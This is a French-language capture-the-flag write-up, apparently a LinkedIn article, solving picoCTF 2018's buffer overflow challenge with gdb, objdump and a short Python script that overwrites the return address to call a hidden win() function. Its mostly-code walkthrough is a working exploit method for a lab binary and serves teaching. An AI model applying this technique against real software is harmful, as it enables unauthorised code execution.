picoCTF2018: BOF

picoCTF2018: BOF

Voilà un challenge proposé dans picoCTF 2018

Aucun texte alternatif pour cette image

J'ai récupéré du site le code source et le binaire (vuln.c et vuln):

#include <stdio.h
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
? char buf[FLAGSIZE];
? FILE *f = fopen("flag.txt","r");
? if (f == NULL) {
??? printf("%s %s", "Please create 'flag.txt' in this directory with your",
??????????????????? "own debugging flag.\n");
??? exit(0);
? }

? fgets(buf,FLAGSIZE,f);
? printf(buf);
}

void vuln(){
? char buf[BUFSIZE];
? gets(buf);

? printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

? setvbuf(stdout, NULL, _IONBF, 0);
?
? gid_t gid = getegid();
? setresgid(gid, gid, gid);

? puts("Please enter your string: ");
? vuln();
? return 0;
}>        

Découvrions le format ELF du binaire vuln:

?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=96273c06a17ba29a34bdefa9be1a15436d5bad81, for GNU/Linux 3.2.0, not stripped
?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$

?        

Il s'agit d'un fichier 32-bits lié dynamiquement.

? Titiller le code

Commen?ons par lancer le programme simplement:

??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$ ./vuln??????? ?
Please enter your string:
AAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$ ./vuln
Please enter your string:
BCBCBCBCBCBCBC
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$

?        

Donc, la dernière de la fonction vuln fournit le résultat:

Okay, time to return... Fingers Crossed... Jumping to 0x804932f        

C'est la fonction get_return_address() qui renvoie la valeur 0x804932f

printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());        

? 0x804932f

Découvrions la nature de cette adresse : 0x804932f

L'outil objdump nous sera d'un grand secours

─$ objdump -d -Mintel vuln

080492c4 <main>:
?80492c4:?????? f3 0f 1e fb???????????? endbr32
?80492c8:?????? 8d 4c 24 04???????????? lea??? ecx,[esp+0x4]
?80492cc:?????? 83 e4 f0??????????????? and??? esp,0xfffffff0
?80492cf:?????? ff 71 fc??????????????? push?? DWORD PTR [ecx-0x4]
?80492d2:?????? 55????????????????????? push?? ebp
?80492d3:?????? 89 e5?????????????????? mov??? ebp,esp
?80492d5:?????? 53????????????????????? push?? ebx
?80492d6:?????? 51????????????????????? push?? ecx
?80492d7:?????? 83 ec 10??????????????? sub??? esp,0x10
?80492da:?????? e8 51 fe ff ff????????? call?? 8049130 <__x86.get_pc_thunk.bx>
?80492df:?????? 81 c3 21 2d 00 00?????? add??? ebx,0x2d21
?80492e5:?????? 8b 83 fc ff ff ff?????? mov??? eax,DWORD PTR [ebx-0x4]
?80492eb:?????? 8b 00?????????????????? mov??? eax,DWORD PTR [eax]
?80492ed:?????? 6a 00?????????????????? push?? 0x0
?80492ef:?????? 6a 02?????????????????? push?? 0x2
?80492f1:?????? 6a 00?????????????????? push?? 0x0
?80492f3:?????? 50????????????????????? push?? eax
?80492f4:?????? e8 b7 fd ff ff????????? call?? 80490b0 <setvbuf@plt>
?80492f9:?????? 83 c4 10??????????????? add??? esp,0x10
?80492fc:?????? e8 6f fd ff ff????????? call?? 8049070 <getegid@plt>
?8049301:?????? 89 45 f4??????????????? mov??? DWORD PTR [ebp-0xc],eax
?8049304:?????? 83 ec 04??????????????? sub??? esp,0x4
?8049307:?????? ff 75 f4??????????????? push?? DWORD PTR [ebp-0xc]
?804930a:?????? ff 75 f4??????????????? push?? DWORD PTR [ebp-0xc]
?804930d:?????? ff 75 f4??????????????? push?? DWORD PTR [ebp-0xc]
?8049310:?????? e8 bb fd ff ff????????? call?? 80490d0 <setresgid@plt>
?8049315:?????? 83 c4 10??????????????? add??? esp,0x10
?8049318:?????? 83 ec 0c??????????????? sub??? esp,0xc
?804931b:?????? 8d 83 a0 e0 ff ff?????? lea??? eax,[ebx-0x1f60]
?8049321:?????? 50????????????????????? push?? eax
?8049322:?????? e8 59 fd ff ff????????? call?? 8049080 <puts@plt>
?8049327:?????? 83 c4 10??????????????? add??? esp,0x10
?804932a:?????? e8 52 ff ff ff????????? call?? 8049281 <vuln>
?804932f:?????? b8 00 00 00 00????????? mov??? eax,0x0
?8049334:?????? 8d 65 f8??????????????? lea??? esp,[ebp-0x8]
?8049337:?????? 59????????????????????? pop??? ecx
?8049338:?????? 5b????????????????????? pop??? ebx
?8049339:?????? 5d????????????????????? pop??? ebp
?804933a:?????? 8d 61 fc??????????????? lea??? esp,[ecx-0x4]
?804933d:?????? c3????????????????????? ret?? ?
?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?
┌──(kali?kali)-[~/secLabs/bof/picoCTF]

?        

Jeter un coup d’?il sur la ligne qui se trouve après l'instruction :

804932a:?????? e8 52 ff ff ff????????? call?? 8049281 <vuln>        

Il s'agit de la ligne

804932f:?????? b8 00 00 00 00????????? mov??? eax,0x0        

Comparer l'adresse de cette instruction avec l'adresse retournée par la fonction get_return_address() : la même valeur!

? le problème de la fonction win()

la fonction win() n'est jamais appelée dans le programme ; nous allons voir si c'est possible d'injecter un cha?ne qui permettra de l'appeler.

Quelle est l'adresse de la fonction win?

Je voudrais, cette fois utiliser l'outil gdb:

????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$ gdb -q ./vuln
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ checksec
CANARY??? : disabled
FORTIFY?? : disabled
NX??????? : disabled
PIE?????? : disabled
RELRO???? : Partial
gdb-peda$ disass win
Dump of assembler code for function win:
?? 0x080491f6 <+0>:???? endbr32
?? 0x080491fa <+4>:???? push?? ebp
?? 0x080491fb <+5>:???? mov??? ebp,esp
?? 0x080491fd <+7>:???? push?? ebx
?? 0x080491fe <+8>:???? sub??? esp,0x54
?? 0x08049201 <+11>:??? call?? 0x8049130 <__x86.get_pc_thunk.bx>
?? 0x08049206 <+16>:??? add??? ebx,0x2dfa
?? 0x0804920c <+22>:??? sub??? esp,0x8
?? 0x0804920f <+25>:??? lea??? eax,[ebx-0x1ff8]
?? 0x08049215 <+31>:??? push?? eax

?        

avec la commande checksec, nous découvrions que vuln a été compilée avec les options no-stack-protector, no-pie, et execstack. L'adresse de la fonction win est : 0x080491f6

D'abord, et avant tout, prouvons que l'injection est possible par débordement de tampon :

──(kali?kali)-[~/secLabs/bof/picoCTF
└─$ ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
zsh: segmentation fault? ./vuln
?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?
┌──(kali?kali)-[~/secLabs/bof/picoCTF]

]        

Nous avons écraser la pile (stack) et même déborder un peu pour modifier l'adresse de retour

Okay, time to return... Fingers Crossed... Jumping to 0x41414141        

La cha?ne à injecter aura la forme suivante:

Aucun texte alternatif pour cette image

Mais combien ce caractères 'A' sont nécessaires? autrement quelle est la valeur de l'offset pour concaténer l'adresse de la fonction win à la cha?ne?

Avec gdb, cherchons cet offset:

──(kali?kali)-[~/secLabs/bof/picoCTF
└─$ gdb -q ./vuln
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)

gdb-peda$ pattern_create 100 in.txt
Writing pattern of 100 chars to filename "in.txt"

gdb-peda$ r < in.txt
Starting program: /home/kali/secLabs/bof/picoCTF/vuln < in.txt
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x41414641

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x61414145 ('EAAa')
ECX: 0x41 ('A')
EDX: 0xffffffff
ESI: 0x1
EDI: 0x80490e0 (<_start>:?????? endbr32)
EBP: 0x41304141 ('AA0A')
ESP: 0xffffd0a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffd0a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd0a4 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd0a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd0ac ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd0b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd0b4 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd0b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd0bc ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$

]        

Donc, j'ai injecté une cha?ne de 100 octets (créer avec pattern_create). Notez bien la valeur du registre EIP : 0x41414641 et la valeur affichée après le message "Stopped reason:SIGSEGV": 0x41414641

Le processeur a cherché,donc, à se rendre à l'instruction d'adresse 0x41414641(adresse tout à fait canonique) sans réussir évidement.

trouvons l'offset de cette valeur 0x41414641:

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ pattern_offset 0x41414641
1094796865 found at offset: 44
gdb-peda$
        

l'offset est 44.

? La charge

Fabriquons la charge avec python:


#!/usr/bin/env python
from struct import *

buf = "A"*44?????????????????????? # offset to EIP
buf += pack("<I", 0x080491f6)????? # overwrite EIP with 080491f6 (win function)
f = open("in.txt", "w")
f.write(buf)        

le contenu de in.txt:

??????????????????????????????????????????
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$ more in.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??

?        

? L'attaque par débordement de tampon et capture du drapeau

On lance notre attaque:

??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$ (cat in.txt) | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
Please create 'flag.txt' in this directory with your own debugging flag.
?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?
┌──(kali?kali)-[~/secLabs/bof/picoCTF]
└─$


?        

le résultat montre nous avions réussi à appeler la fonction win.

Cordialement

Christopher Roque

Responsable Offre Cybersécurité / Bid Manager

2 年

Excellent ! Si vous avez d’autres challenges de ce type je serais intéressé

回复

要查看或添加评论,请登录

A. ADELL的更多文章

  • Produit et propriétés universelles

    Produit et propriétés universelles

    note: article en cours ① Mise en jambe Soient A , B, P et C des ensembles ayant les extensions suivantes: A= { John…

  • La correction du gamma

    La correction du gamma

    ?La correction du gamma permet de définir la quantité relative des composantes de couleur d’une image. Cette fonction…

  • Sections PLT, GOT, compilation statique vs dynamique

    Sections PLT, GOT, compilation statique vs dynamique

    De nombreux articles sur Internet expliquent les notions de compilation statique et dynamique et le r?le de PLT et GOT…

  • Re-entrancy attack sur "The DAO" & smart contract

    Re-entrancy attack sur "The DAO" & smart contract

    Voilà une attaque malicieuse qui date de 2016 sur les smart contracts! L'initiation des smart contracts sur la…

  • SVD, Data Science, et algèbre linéaire

    SVD, Data Science, et algèbre linéaire

    SVD = Singular Value Decomposition (Décomposition en valeurs singulières) Mise en jambes Soit ?? un K-espace vectoriel…

  • un peu de (mécanique) quantique (2/10)

    un peu de (mécanique) quantique (2/10)

    Je considère un système à un seul qubit 1?? vecteur d'état pour les états purs La base considérée est {|u??}, i =1,..

  • Pourquoi "positiver"

    Pourquoi "positiver"

    Désolé ce n'est pas un article sur les astuces pour rester positif! 1?? Rester "positif" ! Je considère l'opération de…

  • un peu de (mécanique) quantique

    un peu de (mécanique) quantique

    Système à un seul qubit Un qubit correspond à l'état d'une particule qui peut osciller entre deux états de base: par…

  • Entropie en thermodynamique vs Entropie en théorie de l'information

    Entropie en thermodynamique vs Entropie en théorie de l'information

    Introduction Emmy Noether,mathématicienne allemande, a démontré le théorème suivant : Parce que les lois physiques…

  • md5

    md5

    I- Empreinte Les fichiers informatiques ont leurs empreintes aussi!. Le calcul de l'empreinte d'un document emploie une…

社区洞察

其他会员也浏览了